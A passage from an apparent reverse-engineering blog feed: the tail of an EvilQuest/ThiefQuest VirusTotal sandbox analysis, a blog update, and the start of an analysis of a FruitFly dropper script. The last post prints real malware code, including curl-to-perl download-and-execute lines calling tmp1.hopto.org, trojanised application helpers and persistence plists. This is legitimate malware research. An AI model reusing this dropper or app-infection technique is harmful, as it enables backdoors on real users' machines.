\u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34; ] } { \u0026#34;sha256\u0026#34;: \u0026#34;d1a11b45b807a9f7da05db69ba1706a850064497376a4775cbb15b1d94b95588\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/osxmobiledata/com.apple.afsvcpd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:08:38\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;bd6e1b8ee1c01cb0326d01e026d9d9adcce64c1d021a97b18416680f2e774ca1\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmdd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:09:16\u0026#34; } A couple of samples later and we can already observe \u0026ldquo;grandsons\u0026rdquo; of patient zero:\n{ \u0026#34;sha256\u0026#34;: \u0026#34;5e8a0a3b6aeb4a37fc1d949ebe4846accd5842d4eb145d37fa7af41b0acbc70c\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmhd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;3499d8119db3bd9365a7b1d0b3f677cc9adc5efe9097234ac92e1aa915ef11b1\u0026#34;, \u0026#34;2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:09:18\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;6ecdd0f33349a66635ed29b57afd9eafc3391c5a6b2267a3a866b66045290efc\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmfd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;5e8a0a3b6aeb4a37fc1d949ebe4846accd5842d4eb145d37fa7af41b0acbc70c\u0026#34;, \u0026#34;cda3796c74c9047466384fda223f618d7efe5c00390ae1654e9dff7b3ab07f36\u0026#34;, \u0026#34;d1a11b45b807a9f7da05db69ba1706a850064497376a4775cbb15b1d94b95588\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 17:10:05\u0026#34; } If my theory is correct, we should be able to see the mutated samples analyzed all day long and the next day. This hypothesis holds true if we verify next day execution timeline:\n2020-09-06 00:00:00 2020-09-06 00:00:01 2020-09-06 00:00:25 2020-09-06 00:00:26 2020-09-06 00:00:30 2020-09-06 00:00:31 2020-09-06 00:00:33 2020-09-06 00:01:00 (...) 2020-09-06 23:59:37 2020-09-06 23:59:42 2020-09-06 23:59:43 2020-09-06 23:59:45 2020-09-06 23:59:48 2020-09-06 23:59:49 2020-09-06 23:59:58 We can find the first next day samples and see if their parent(s) belongs to the previous day:\n{ \u0026#34;sha256\u0026#34;: \u0026#34;1a1e84793d5e68259e276d5728736f8dcdadbc10beaf579f3b56c415055f1474\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/osxmobiledata/com.apple.afsvcpd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;ee7075bd8f20e94b61436e6344631d0bbe7380a30c73f6dca39f14b402d5672f\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-06 00:00:00\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;f34f8e458fd98006f454c8e327c1df1872ce8cd93989ed9a41a914507061487e\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/client/tmp/8e3b432bab64466a202b0557a8273f9eab1a63cff9b1ba62292a5180136cc95d/sample.bin\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;d780db5b3796dfd39d6bb40aac51d94e4a758308be8414d6e1e76fa2c0c22f7f\u0026#34;, \u0026#34;8e3b432bab64466a202b0557a8273f9eab1a63cff9b1ba62292a5180136cc95d\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-06 00:00:00\u0026#34; } Their parents from previous day:\n{ \u0026#34;sha256\u0026#34;: \u0026#34;ee7075bd8f20e94b61436e6344631d0bbe7380a30c73f6dca39f14b402d5672f\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmtd\u0026#34;, \u0026#34;/Library/osxmobiledata/com.apple.afsvcpd\u0026#34;, \u0026#34;/Users/user1/Library/osxmobiledata/com.apple.afsvcpd\u0026#34;, \u0026#34;com.apple.afsvcpd0\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;7ccd8fe515bfc9316f9370e9191b971f231d5d4f28a865e549289b5e25a67f14\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 18:12:03\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;d780db5b3796dfd39d6bb40aac51d94e4a758308be8414d6e1e76fa2c0c22f7f\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmkd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;e9a3d60e34b380fee9a3910ad4c652589fa683c32f471fc6dcac99759541b1ea\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 18:11:32\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;8e3b432bab64466a202b0557a8273f9eab1a63cff9b1ba62292a5180136cc95d\u0026#34;, \u0026#34;submission_names\u0026#34;: [ \u0026#34;/Users/user1/Library/com.apple.fmrd\u0026#34; ], \u0026#34;execution_parents\u0026#34;: [ \u0026#34;dd3d15e7cf6a1f62922041f7213d4b1eef7595dee613c1663a98f6015a4f936f\u0026#34; ], \u0026#34;first_seen\u0026#34;: \u0026#34;2020-09-05 19:45:30\u0026#34; } Last verify if it is the same code and different strings, which still holds true.\nbash Mach-O Stats (c) 2020 Pedro Vilaca. All Rights Reserved __text map cd87dfd659fc2334ccc59093c1f41ba9abf4c88046d438ddd8bc2d82f55859d7 5 __cstring map 6ac22c26e24ceb5a922b3e4b57365757b12211eb858cfca5746a8a30846757bd 1 ef848f3c91e9ad50f02ae61970289b33b5398b2a48129bbd78c98ba85ae40e74 1 0239a72b6f4b339aa8e82504d2be8acc42dc089ddafbbb44330bb8c32d63f5ec 1 318e952c78afe7b772b54e93aded05857705114e71cf53d7520f1f3814730249 1 9ccedba8c6262fd7e1ac78380266c095308179862d547e9227d33aa6dd3fb24e 1 Given all this it seems that there is a \u0026ldquo;bug\u0026rdquo; in VirusTotal macOS sandbox which allows to \u0026ldquo;fork\u0026rdquo; bomb it. This is a feature to tackle polymorphic code and it makes sense to exist. But in this case there is no code polymorphism, just strings being mutated. From my point of view there should be some kind of trigger to stop this after a day or two. But it can be a complicated decision and problem to solve. Where is the balance?\nThis could lead to a possible DoS or wasteful usage of VirusTotal macOS sandbox by submitting a couple of different Mach-O samples that modify themselves. If the files are big enough it could consume a lot of disk space. And flood everyone else looking at daily feeds.\nThe sandbox appears to be executing a sample every 2 seconds so we might be able to infer VirusTotal macOS sandbox analysis capacity.\nRegarding the sample itself, it appears to be a new version of EvilQuest/ThiefQuest. There is a command line switch to display the version number, currently 3.105. I haven\u0026rsquo;t yet analyzed its capabilities to understand if there are any new features or improvements to the initial public found in last June. Its development appears to be active and so this threat might grow in the future.\nThe hardcoded C2 is still the same 159.65.147.28 as described in this post about an updated version back in July.\nIn the first days it had very few detections (2 to 3) but it seems AVs finally catched up. On 2020-09-09 the number of detections finally grew to 5, doubling next day and most vendors finally catching up over the next days. A reanalysis of the initial samples returns 21 detections at the time of writing.\nI guess those detection signatures for the first version weren\u0026rsquo;t that good.\n{ \u0026#34;sha256\u0026#34;: \u0026#34;9efc7a1f373026a266a642b8417544b92de08e25b6bcdc12d7bfd44bb8993721\u0026#34;, \u0026#34;positives\u0026#34;: 2, \u0026#34;scan_date\u0026#34;: \u0026#34;2020-09-05 17:06:57\u0026#34; } { \u0026#34;sha256\u0026#34;: \u0026#34;2f1fbd634ebac9079c29e1e659fe3e3f3fd7f3d0aefd4d513563d371b558d22c\u0026#34;, \u0026#34;positives\u0026#34;: 2, \u0026#34;scan_date\u0026#34;: \u0026#34;2020-09-05 17:07:47\u0026#34; } The question is if the malware author was trying to mess around with the sandbox or was just a coincidence. If the latter, I don\u0026rsquo;t understand what\u0026rsquo;s the benefit of mutating the strings when the code is still the same. Might be able to fool lame AV signatures. Besides that, a significant amount of encrypted/obfuscated strings will just put the spotlight on this type of binary. Doesn\u0026rsquo;t make that much of a sense.\nThe conclusion is that unfortunately it\u0026rsquo;s not the biggest malware attack ever with near half a million samples on VirusTotal but a new version of EvilQuest/ThiefQuest that triggered a cute loop in VirusTotal sandbox.\nHope you have enjoyed this little adventure and was worth the clickbait.\nHave fun,\nfG!\nP.S.: The Go code is already pushed to GitHub. Here and here.\n","permalink":"https://reverse.put.as/2020/09/17/evilquest-revisited/","summary":"\u003cp\u003eNo. I just clickbaited you but don\u0026rsquo;t leave yet, keep reading for something fun!\u003c/p\u003e","title":"Is macOS under the biggest malware attack ever?"},{"content":"Lately I have been working on a new blog post about running macOS on Ryzen via KVM/QEMU. There was a need to change some blog code and because my theme fork is two years or so outdated, I decided last night to dive deep into updating and fixing it.\nIt finally renders better into mobile devices (tablets that is). It is still unfixed for phones and I am not going to bother to fix it. This isn\u0026rsquo;t a blog to read in a phone, mostly because the code snippets are too wide, and honestly not worth the time. Text width has increased where it is supported. Always thought it was too narrow and made some code snippets hard to read. It looks better in bigger screens (I think I am going to increase the font size in higher resolutions, since it looks too small right now). Also installed a new font and fixed the difference from main page to article content (sans serif vs serif fonts). The menu bar is also fixed and shouldn\u0026rsquo;t look like crap in mobile devices.\nAlso a \u0026ldquo;significant\u0026rdquo; change is dropping the macOS from its name. I still use macOS out of lazyness (and Little Snitch\u0026hellip;) but I am pretty much out of interest with the platform. Let\u0026rsquo;s say that my time at Apple was maybe the swan song. The platform lockdown is not interesting at all (doesn\u0026rsquo;t solve any security problem, just makes it a darker black box) and it\u0026rsquo;s only going to get worse with the ARM transition. There is no point in innovating and trying new approaches if you can\u0026rsquo;t implement them or they are near to impossible on next major release one year later.\nMy mistake was to spend too much time with this platform. You get older, you get lazier. I had a lot of fun, travelled around the world speaking about it, and I guess helped a bit to develop interest in this platform as a target. It was a good run, but it\u0026rsquo;s time to move on. There is already lots of good people in macOS/iOS platform and that\u0026rsquo;s good a thing. But it\u0026rsquo;s also more of the same most of the time, so it\u0026rsquo;s really not anymore unchartered territory like it was years ago.\nIt didn\u0026rsquo;t help that past years I have pretty much converted myself mostly into a developer and less a reverse engineer. That kinda annoys me but when I get obsessed about something it\u0026rsquo;s full throttle. I am still chasing that perfect and nice code. I am an Economist, not an engineer so that might never happen :-). I am also not sure what\u0026rsquo;s that perfect and nice code - I\u0026rsquo;ll know when I see it.\nAnyway, what\u0026rsquo;s the point of all this? I want to do an effort to revive content and get somewhat get back to reverse engineering stuff. Improving public knowledge was always my goal so I am trying to create myself an incentive to do it again. Let\u0026rsquo;s see if it works this time :-).\nAnd no, I\u0026rsquo;m not dropping the worm logo. I love it!\nPeace,\nfG!\n","permalink":"https://reverse.put.as/2020/07/12/blog-update/","summary":"\u003cp\u003eLately I have been working on a new blog post about running macOS on Ryzen via KVM/QEMU. There was a need to change some blog code and because my theme fork is two years or so outdated, I decided last night to dive deep into updating and fixing it.\u003c/p\u003e","title":"Blog Update"},{"content":"Note to original post:\nThis post was originally written back in May 2019 but was removed because of \u0026ldquo;pressure\u0026rdquo; from my employer at the time, Apple. It was written over the weekend on my own equipment and was all about information I had way before I joined Apple. Personally I don\u0026rsquo;t think there is any special drama here other than unreleased technical details about a malware that is dead and its author busted long time ago. When paranoia and envy are dominant then everything can be a potential media drama in people\u0026rsquo;s mind. It\u0026rsquo;s all bullshit. My position didn\u0026rsquo;t change and given that there is an upcoming presentation about this malware by Thomas Reed at Objective By The Sea it\u0026rsquo;s time to re-release this.\nWhile sorting out my Mac malware collection I found out that I had an unreleased (no known public references) FruitFly/Quimitchin dropper script lost in my archives.\nFruitFly made big headlines two years ago and its author has been arrested. It was first reported by MalwareBytes and then a new variant was analysed by Patrick Wardle. Besides being under the radar for more than a decade, it was kind of exotic malware because most of its code was written in Perl. Last time I did something serious in Perl was twenty years ago or so!\nIt turns out that two years ago @noarfromspace sent me some FruitFly related files, which I stored but never bothered to look at. While sorting out all related files to FruitFly I finally took a peek inside this file because its hash wasn\u0026rsquo;t mentioned anywhere else.\nIt is available on VirusTotal with the following SHA256 hash 4df135fd0fcfe3800d5043985ad1be349bd10da5b63a0ef42531e95452d102c7.\nThis script is responsible for downloading the 2nd stage malicious payload (a Perl script that contains a malicious Mach-O and other files) and creating the persistent LaunchAgent. Executed without arguments it shows the available options:\n$ perl dropper.pl Usage: dropper.pl [-b] [-u USERNAME] FILE -b blocks the original program so it can\u0026#39;t run and exit -u USERNAME sets the username and the given directory should contain a Library/LaunchAgents FILE can end in /APPNAME.app to automatically append /Contents/MacOS/APPNAME FILE can end in /Users/USERNAME to do a user (can use \u0026#34;~\u0026#34; on command line) FILE can end in /+fpsaud to treat up to / as the main drive root and create a root infection FruitFly available public analysis describes persistency only at user level and with a LaunchAgent at ~/Library/LaunchAgents/com.client.client.plist. The contents of that plist as described by MalwareBytes are:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;KeepAlive\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.client.client\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/Users/xxxx/.client\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;NSUIElement\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;1\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; The generated plist by this script is slightly different in which stdout and stderr are redirected to /dev/null.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;$_[0]\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;$_[1]\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;KeepAlive\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;NSUIElement\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;1\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardOutPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardErrorPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; Let\u0026rsquo;s play a bit with the different options. The MalwareBytes post can be recreated using FILE can end in /Users/USERNAME to do a user option.\nMy VM /etc/hosts file points tmp1.hopto.org to localhost, and I set a Python SimpleHTTPServer listening on port 57777. The reason for this is that the second stage payload is downloaded using curl -s tmp1.hopto.org:57777/z.pl. My z.pl is a simple Perl Hello World script.\n$ ./dropper.pl /Users/reverser/ Doing user reverser Wrote /Users/reverser/.client Created LaunchAgents Wrote /Users/reverser/Library/LaunchAgents/com.client.client.plist Done It matches the plist described by MalwareBytes except for the stdout and stderr redirects.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.client.client\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/Users/reverser/.client\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;KeepAlive\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;NSUIElement\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;1\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardOutPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardErrorPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; The .client will be the known malicious Perl script that packs the malicious functionality because it is downloaded by this code:\nsub douserdir{ my $user=shift; print \u0026#34;Doing user $user\\n\u0026#34;; $fn.=\u0026#34;/\u0026#34; if $fn !~ /\\/$/; my ($fnc,$ld)=($fn.\u0026#34;.client\u0026#34;,$fn.\u0026#34;Library/LaunchAgents\u0026#34;); my $fnp=\u0026#34;$ld/com.client.client.plist\u0026#34;; assertgone($fnc,$fnp); writeclient($fnc); print \u0026#34;Wrote $fnc\\n\u0026#34;; if(!-d $ld){ docmd(\u0026#34;mkdir \u0026#39;$ld\u0026#39;\u0026#34;); print \u0026#34;Created LaunchAgents\\n\u0026#34;; } dowrite($fnp,plistsrc(\u0026#39;com.client.client\u0026#39;,\u0026#34;/Users/$user/.client\u0026#34;)); print \u0026#34;Wrote $fnp\\n\u0026#34;; } sub writeclient{ docmd(\u0026#34;curl -s tmp1.hopto.org:57777/z.pl \u0026gt; \u0026#39;$_[0]\u0026#39;\u0026#34;); assertexists($_[0]); docmd(\u0026#34;chmod +x \u0026#39;$_[0]\u0026#39;\u0026#34;); } The fake second stage payload downloaded from our server:\n$ cat /Users/reverser/.client #!/usr/bin/perl print \u0026#34;Hello world!\\n\u0026#34; This explains how the \u0026ldquo;.client\u0026rdquo; and associated plist are created. Now let\u0026rsquo;s try the FILE can end in /+fpsaud to treat up to / as the main drive root and create a root infection option.\n$ ./dropper.pl /+fpsaud Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist =\u0026gt; /Library/Application Support/Adobe/fpsaud *** /Library/Application Support/Adobe/ does not exist *** This option only works if there is root access and Adobe software installed (or folder is manually created before). Let\u0026rsquo;s simulate it:\n$ sudo mkdir /Library/Application\\ Support/Adobe $ ./dropper.pl /+fpsaud Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist =\u0026gt; /Library/Application Support/Adobe/fpsaud *** Unable to write to /Library/LaunchDaemons/com.adobe.fpsaud2.plist: Permission denied *** $ sudo ./dropper.pl /+fpsaud Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist =\u0026gt; /Library/Application Support/Adobe/fpsaud Wrote /Library/LaunchDaemons/com.adobe.fpsaud2.plist Wrote /Library/Application Support/Adobe/fpsaud Done The plist looks the same as before except the Label and ProgramArguments:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.adobe.fpsaud2\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/Library/Application Support/Adobe/fpsaud\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;KeepAlive\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;NSUIElement\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;1\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardOutPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;StandardErrorPath\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;/dev/null\u0026lt;/string\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; The path points to the known name for B variant fpsaud, and now we know it will contain the known malicious Perl script because the contents of that file are created with the following code (shares the writeclient with previous method):\nsub dorootdir{ my ($rootdir,$plistdir,$plistname,$targetdir,$targetfile)=@_; my $fnp=\u0026#34;$rootdir$plistdir$plistname.plist\u0026#34;; my $fnc=\u0026#34;$rootdir$targetdir$targetfile\u0026#34;; print \u0026#34;Doing root $fnp =\u0026gt; /$targetdir$targetfile\\n\u0026#34;; assertgone($fnp,$fnc); assertexists($rootdir.$plistdir,$rootdir.$targetdir); dowrite($fnp,plistsrc($plistname,\u0026#34;/$targetdir$targetfile\u0026#34;)); print \u0026#34;Wrote $fnp\\n\u0026#34;; writeclient($fnc); print \u0026#34;Wrote $fnc\\n\u0026#34;; } sub writeclient{ docmd(\u0026#34;curl -s tmp1.hopto.org:57777/z.pl \u0026gt; \u0026#39;$_[0]\u0026#39;\u0026#34;); assertexists($_[0]); docmd(\u0026#34;chmod +x \u0026#39;$_[0]\u0026#39;\u0026#34;); } We just described the options that were used to infect the target machines with the known public samples (except for the plist differences). The B variant appears to be newer (because the embedded DATA is obfuscated while on variant A it\u0026rsquo;s not) but the script being used to install it appears to be more or less stable.\nBecause there is direct code execution these two modes appear to be used when there is interactive access to the victim machine (for example weak RDP/VNC/SSH passwords).\nThe third persistency method is the most interesting since it\u0026rsquo;s not (publicly) described anywhere else. Instead of direct code execution, the second stage payload download is achieved by \u0026ldquo;infecting\u0026rdquo; regular applications. At first I thought it was being used as alternative persistency but it\u0026rsquo;s not.\nLet\u0026rsquo;s try to infect Adobe Reader (the target is Adobe Reader XI, AdbeRdr11010_en_US.dmg).\n$ ./dropper.pl /Applications/Adobe\\ Reader.app/ Translated to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper *** Adobe without blocking **** Moved original, appending 2 Wrote dropper to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper Done Verifying the infection:\n$ cd \u0026#34;/Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/\u0026#34; $ ls Adobe Reader Updater Helper Adobe Reader Updater Helper2 $ ls -la total 288 drwxrwxr-x 4 root admin 136 May 6 00:53 . drwxrwxr-x 7 root admin 238 Dec 3 2014 .. -rwxr-xr-x 1 reverser admin 179 May 6 00:53 Adobe Reader Updater Helper -rwxrwxr-x 1 root admin 142560 Dec 3 2014 Adobe Reader Updater Helper2 $ cat Adobe\\ Reader\\ Updater\\ Helper #!/usr/bin/perl system \u0026#34;curl -s tmp1.hopto.org:57777/z.pl|perl\u0026amp;\u0026#34;; if(open F,\u0026#39;\u0026gt;\u0026gt;\u0026#39;,\u0026#39;/Applications/.z\u0026#39;){print F localtime().\u0026#34;\\t\u0026#34;.join(\u0026#39; \u0026#39;,$0,@ARGV).\u0026#34;\\n\u0026#34;;close F;} exec $0.\u0026#39;2\u0026#39;,@ARGV; If we launch Adobe Reader and press check updates we can observe the execution of infected helper and the dropper payload download:\n127.0.0.1 - - [06/May/2019 00:57:54] \u0026#34;GET /z.pl HTTP/1.1\u0026#34; 200 - An execution log is available:\nbash-3.2$ cat /Applications/.z Mon May 6 00:57:53 2019 /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto Because blocking option wasn\u0026rsquo;t used, the Adobe update process will proceed. After the update is finished the backdoor is removed as expected (assuming there is an update) and everything looks normal, except that if the dropper was successful there is now a backdoor running in the system.\n$ ls -la total 568 drwxrwxr-x 4 root admin 136 May 6 01:01 . drwxrwxr-x 7 root admin 238 May 6 01:01 .. -rwxrwxr-x 1 root admin 146976 Nov 1 2017 Adobe Reader Updater Helper -rwxrwxr-x 1 root admin 142560 Dec 3 2014 Adobe Reader Updater Helper2 To guarantee the execution in case the update isn\u0026rsquo;t executed a LaunchAgent was also installed:\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;!DOCTYPE plist PUBLIC \u0026#34;-//Apple//DTD PLIST 1.0//EN\u0026#34; \u0026#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd\u0026#34;\u0026gt; \u0026lt;plist version=\u0026#34;1.0\u0026#34;\u0026gt; \u0026lt;dict\u0026gt; \u0026lt;key\u0026gt;Label\u0026lt;/key\u0026gt; \u0026lt;string\u0026gt;com.adobe.ARM.202f4087f2bbde52e3ac2df389f53a4f123223c9cc56a8fd83a6f7ae\u0026lt;/string\u0026gt; \u0026lt;key\u0026gt;ProgramArguments\u0026lt;/key\u0026gt; \u0026lt;array\u0026gt; \u0026lt;string\u0026gt;/Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper\u0026lt;/string\u0026gt; \u0026lt;string\u0026gt;semi-auto\u0026lt;/string\u0026gt; \u0026lt;/array\u0026gt; \u0026lt;key\u0026gt;RunAtLoad\u0026lt;/key\u0026gt; \u0026lt;true/\u0026gt; \u0026lt;key\u0026gt;StartInterval\u0026lt;/key\u0026gt; \u0026lt;integer\u0026gt;12600\u0026lt;/integer\u0026gt; \u0026lt;/dict\u0026gt; \u0026lt;/plist\u0026gt; FruitFly has specific code to support this third mode on a few variants of Adobe Acrobat Reader, Google Chrome, and TOCGenerator (this appears to be some HP related software).\nThere is also the -b option that blocks the original program from running.\n$ ./dropper.pl -b /Applications/Adobe\\ Reader.app/ Using blocking Translated to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper Moved original, appending 2 Wrote dropper (with blocking) to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper Done And the blocking code:\n$ cat Adobe\\ Reader\\ Updater\\ Helper #!/usr/bin/perl if(open F,\u0026#39;\u0026gt;\u0026gt;\u0026#39;,\u0026#39;/Applications/.z\u0026#39;){print F localtime().\u0026#34; b\\t\u0026#34;.join(\u0026#39; \u0026#39;,$0,@ARGV).\u0026#34;\\n\u0026#34;;close F;} system \u0026#34;curl -s tmp1.hopto.org:57777/z.pl|perl\u0026#34;; if(-e \u0026#39;/Applications/.z\u0026#39; \u0026amp;\u0026amp; open F,\u0026#39;\u0026gt;\u0026gt;\u0026#39;,\u0026#39;/Applications/.z\u0026#39;){print F localtime().\u0026#34; exit\\n\u0026#34;;close F;} The execution log:\nMon May 6 01:21:17 2019 b /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto Mon May 6 01:21:17 2019 exit In this case the update helper will never be executed, hence the blocking. Cute!\nWhile there is specific code for Adobe and other apps, any target app can be used. Let\u0026rsquo;s try with a different application in blocking mode (it\u0026rsquo;s a fresh El Capitan VM so Xcode was the only non SIP protected application I had):\n$ ./dropper.pl -b /Applications/Xcode.app/ Using blocking Translated to /Applications/Xcode.app/Contents/MacOS/Xcode *** unknown blocking **** Moved original, appending 2 Wrote dropper (with blocking) to /Applications/Xcode.app/Contents/MacOS/Xcode Done The execution log when we start Xcode:\n$ cat /Applications/.z Mon May 6 